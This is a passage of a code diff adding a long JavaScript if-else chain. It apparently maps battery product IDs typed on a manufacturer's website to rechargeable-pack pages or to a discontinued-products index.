+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw500"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw720"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw800"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erp107"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp268"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp275"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp290"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp506"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp509"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp730"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp9116"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p2312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p2322m"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p2331"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3201"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3306"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p5256"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7330"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7340"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7501"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erd100"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd200"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ else if(IDText.value=="164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="201"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="216"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="226"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="228"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="311"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="313"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="323"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="325"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="333cz"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="343"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="354"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="355"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="387"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="388"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="417"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="457"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="477"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="479"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="482"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="484"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="487"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="490"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="491"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="509"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="510f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="520"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="523"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="531"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="532"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="537"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="538"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="544"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="561"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="563"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="564"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="565"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="646"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="703"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="706"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="714"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="715"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="716"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="717"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="724"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="731"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="735"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="738"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="742"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="744"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="750"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="762s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="773"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="778"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="781"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="812"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="815"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="835"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="850"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="912"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="915"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="935"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="950"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1015"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1035"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1050"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1231"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1461"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1463"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1562"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1862"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2356n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2709n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2744n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2745n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2746n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2780n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ac41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cc1096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm1460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm2460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cdc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch2aa"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm4160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm6036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3536"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
